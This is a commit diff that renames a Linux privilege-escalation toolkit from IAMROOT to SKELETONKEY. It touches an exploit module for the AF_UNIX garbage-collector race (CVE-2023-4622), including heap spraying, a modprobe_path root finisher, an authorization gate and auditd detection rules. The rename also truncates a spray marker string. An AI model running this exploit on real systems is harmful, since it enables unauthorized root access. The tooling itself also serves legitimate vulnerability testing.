rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
||||
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||
5.15.130 / 6.1.51 / 6.5.0.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
**Widest deployment of any module in the corpus** — bug present
|
||||
in every Linux kernel below the fix (back to ~2.0 era).
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
#define AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
+46
-46
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||
*
|
||||
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||
@@ -55,7 +55,7 @@
|
||||
* carries the widest version range of any module we ship.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
|
||||
return true;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
" needs thousands of iterations to win on average.\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Race-driver state ------------------------------------------- */
|
||||
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x55; /* 'U' — unix */
|
||||
memset(p.buf, 0x55, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOTU", 8);
|
||||
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
iamroot_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == IAMROOT_OK) {
|
||||
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||
* modprobe_path is unresolvable we refuse here rather than running
|
||||
* a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_unix_gc");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||
" a small fraction per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||
|
||||
/* 4. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
.n_queues = AFUG_SPRAY_QUEUES,
|
||||
.arb_calls = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
af_unix_gc_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
if (!ctx->json) {
|
||||
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" win + land within budget (expected outcome on most\n"
|
||||
" runs — race wins are a fraction of a percent).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
#ifdef __linux__
|
||||
return af_unix_gc_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* Race threads + msg queues live inside the now-exited child;
|
||||
* nothing else to drain. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
|
||||
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||
"# subsequent KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
const struct iamroot_module af_unix_gc_module = {
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_unix_gc(void)
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
{
|
||||
iamroot_register(&af_unix_gc_module);
|
||||
skeletonkey_register(&af_unix_gc_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user